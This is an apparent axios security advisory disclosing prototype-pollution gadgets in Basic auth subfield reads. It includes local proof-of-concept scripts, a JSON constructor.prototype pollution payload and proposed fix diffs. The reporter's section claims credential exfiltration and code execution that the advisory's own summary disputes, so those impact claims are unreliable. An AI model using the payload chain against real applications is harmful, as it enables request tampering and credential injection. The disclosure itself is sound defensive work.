취약점

Summary

Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header.

This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}.

Impact

An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object.

The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures.

This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.

Affected Functionality

Affected functionality:

• Node HTTP adapter Basic auth handling in lib/adapters/http.js.
• Browser, web worker, React Native, and fetch shared resolver Basic auth handling in lib/helpers/resolveConfig.js.
• Requests where config.auth is an own object but username and/or password are absent own properties.

Unaffected or not accepted as core impact:

• Requests with no own auth object after mergeConfig().
• Requests with own auth.username and auth.password values.
• Normal axios request flow for inherited top-level params / paramsSerializer after the null-prototype mergeConfig() hardening.
• Attacker-controlled paramsSerializer functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.

Technical Details

mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype.

In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.

The same pattern exists in lib/helpers/resolveConfig.js:

if (auth) {
  headers.set(
    'Authorization',
    'Basic ' +
      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
  );
}

The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere.

Proof of Concept of Attack

Safe local PoC against published axios@1.16.1:

const http = require('node:http');
const axios = require('axios');

Object.prototype.username = 'victim-user';
Object.prototype.password = 'victim-password-leaked';

const server = http.createServer((req, res) => {
  console.log({
    url: req.url,
    authorization: req.headers.authorization || null
  });

  res.end('{}');
  server.close(() => {
    delete Object.prototype.username;
    delete Object.prototype.password;
  });
});

server.listen(0, '127.0.0.1', async () => {
  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {
    auth: {}
  });
});

Expected output:

{
  "url": "/api",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

The base64 value decodes to victim-user:victim-password-leaked.

Workarounds

Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values.

Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}.

Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.

Summary

After GHSA-q8qp-cvcw-x6jj / PR #10779 (shipped in v1.15.2) and the further proxy-side hardening in PR #10833 (merged 2026-05-02), the top-level config.auth and the proxy authsub-fields are correctly read via utils.hasOwnProp. The regular request auth sub-fields (config.auth.username and config.auth.password) and the config.params / config.paramsSerializer reads inside resolveConfig.js are still unguarded against a polluted Object.prototype.

When a polluted host process makes an axios call with the common "optional override" pattern (auth: opts.auth || {} — an empty own {}), the sub-field reads configAuth.username and configAuth.password walk the prototype chain and return the attacker-controlled values. Same for params and paramsSerializer. The outbound HTTP request then carries an attacker-chosen Authorization: Basic <base64> header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).

Reproduces against axios main HEAD (34723be, dated 2026-05-24) as well as the released v1.16.1.

Details

Three still-unguarded read sites on main HEAD:

(1) lib/adapters/http.js lines 737–740 (Node http adapter):

const configAuth = own('auth');         // ← top-level guard OK
if (configAuth) {
    const username = configAuth.username || '';   // ← reads .username on the inherited chain
    const password = configAuth.password || '';   // ← reads .password on the inherited chain
    auth = username + ':' + password;
}

own('auth') correctly applies hasOwnProp to the top-level auth key. But once configAuth is the empty object the caller passed (auth: {}), configAuth.username walks the prototype chain and picks up Object.prototype.username.

Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324):

const authUsername =
    authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
    authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;

This is the exact pattern needed at lines 739–740 too.

(2) lib/helpers/resolveConfig.js lines 50 + 68 (xhr/fetch adapter shared resolver):

const auth = own('auth');               // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
//   ^ .username and .password read directly on `auth`, no hasOwnProp guard

Same shape — top-level guarded, sub-fields walk prototype.

(3) lib/helpers/resolveConfig.js lines 58–59 (params + paramsSerializer):

newConfig.url = buildURL(
    buildFullPath(baseURL, url, allowAbsoluteUrls),
    config.params,            // ← direct read, not through own()
    config.paramsSerializer   // ← direct read, not through own()
);

This third site is already proposed for fix in open PR #10922 by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #10922 does not cover.

PoC

This PoC contains zero direct Object.prototype.x = y writes. The pollution flows entirely from attacker-shaped JSON through a real deep-merge utility (defaults-deep@0.2.4, ~50k weekly downloads, still walks constructor.prototype). A hand-rolled deep merge — the canonical insecure backend pattern — exhibits the same pollution via __proto__ and is more common in real codebases than any named utility.

#!/usr/bin/env node
'use strict';

const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');

// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
  for (const k of PROTO_KEYS) {
    try { delete Object.prototype[k]; } catch (_) {}
  }
}
scrub();

// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
  "constructor": {
    "prototype": {
      "username": "victim-user",
      "password": "victim-password-leaked",
      "params": {"leak": "ATTACKER_QUERY_TOKEN"}
    }
  }
}`);

// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
//   After this line:
//     Object.prototype.username  === "victim-user"
//     Object.prototype.password  === "victim-password-leaked"
//     Object.prototype.params    === { leak: "ATTACKER_QUERY_TOKEN" }

// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
  console.log('=== captured outbound request ===');
  console.log(JSON.stringify({
    method: req.method,
    url: req.url,
    authorization: req.headers.authorization || null,
  }, null, 2));
  res.end('{}');
  server.close();
  scrub();
});

server.listen(0, '127.0.0.1', () => {
  const port = server.address().port;

  // 4) Realistic application wrapper: optional per-call overrides.
  //    `auth: opts.auth || {}` is the common pattern — empty own object,
  //    but inherited values walk the prototype chain.
  function makeRequest(targetUrl, opts = {}) {
    return axios.get(targetUrl, {
      timeout: 5000,
      auth: opts.auth || {},
      params: opts.params || {},
    });
  }

  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
    console.error('axios error:', e.message);
    scrub();
    process.exit(1);
  });
});

Reproduction:

mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install axios@1.16.1 defaults-deep@0.2.4
node /path/to/poc.cjs

Captured output (verified against released 1.16.1 AND against main at 34723be, 2026-05-24):

{
  "method": "GET",
  "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes to victim-user:victim-password-leaked. The querystring carries ?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel in real chains (CSRF token, session cookie via req.headers, etc.).

Impact

• Credential exfiltration via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path.
• Outbound request-shape control via inherited params / paramsSerializer. With paramsSerializer polluted to an attacker function, axios will execute that function with each params invocation — same-process code execution from a pollution primitive.
• Amplifier framing is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without __proto__/constructor filtering, then uses the empty- fallback wrapper auth: opts.auth || {} / params: opts.params || {}." Both halves are very common in real codebases (we tested defaults-deep, hand-rolled merges, and several lodash-family utilities; many still pollute).
• CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink).

Proposed fix

Two-line change in http.js, matching the proxy-auth pattern PR #10833 already established:

--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@@ -737,8 +737,10 @@
       const configAuth = own('auth');
       if (configAuth) {
-        const username = configAuth.username || '';
-        const password = configAuth.password || '';
+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
         auth = username + ':' + password;
       }

Same pattern in resolveConfig.js:

--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@@ -64,7 +64,11 @@
   // HTTP basic authentication
   if (auth) {
+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
     headers.set(
       'Authorization',
       'Basic ' +
-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
     );
   }

The params / paramsSerializer half is already handled by open PR #10922's own('params') / own('paramsSerializer') change — that PR should be rebased / merged.

Relationship to recent prototype-pollution work

Same vulnerability class as the existing public hardening, just at sub-field granularity:

• GHSA-q8qp-cvcw-x6jj / PR #10779 — mergeConfig direct-key reads. Fixed in v1.15.2.
• PR #10761 — mergeDirectKeys in → hasOwnProp. Fixed in v1.15.x.
• PR #10833 — proxy auth.username/password sub-fields. Fixed post-1.16.1.
• PR #7413 — formDataToJSON defense-in-depth. Fixed post-1.16.1.
• PR #10901 — socketPath guard. Merged 2026-05-24.
• PR #10922 (OPEN) — params / paramsSerializer own() guard. Proposed; not merged.

This report adds: regular-request auth.username / auth.password sub-field reads in both the http adapter (lines 737–740) and resolveConfig.js (line 68).

Reporter notes

• Reported as part of a small peer-review bundle of runtime security findings. The bundle's public tracking entry (without the working exploit chain) is at georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md.
• I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #10922 (whose author is actively responding to comments), please let me know and I'll coordinate.
• Threat model honesty: this is amplifier framing — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #10833 were framed too, so the precedent for "in-scope as a hardening fix" is established.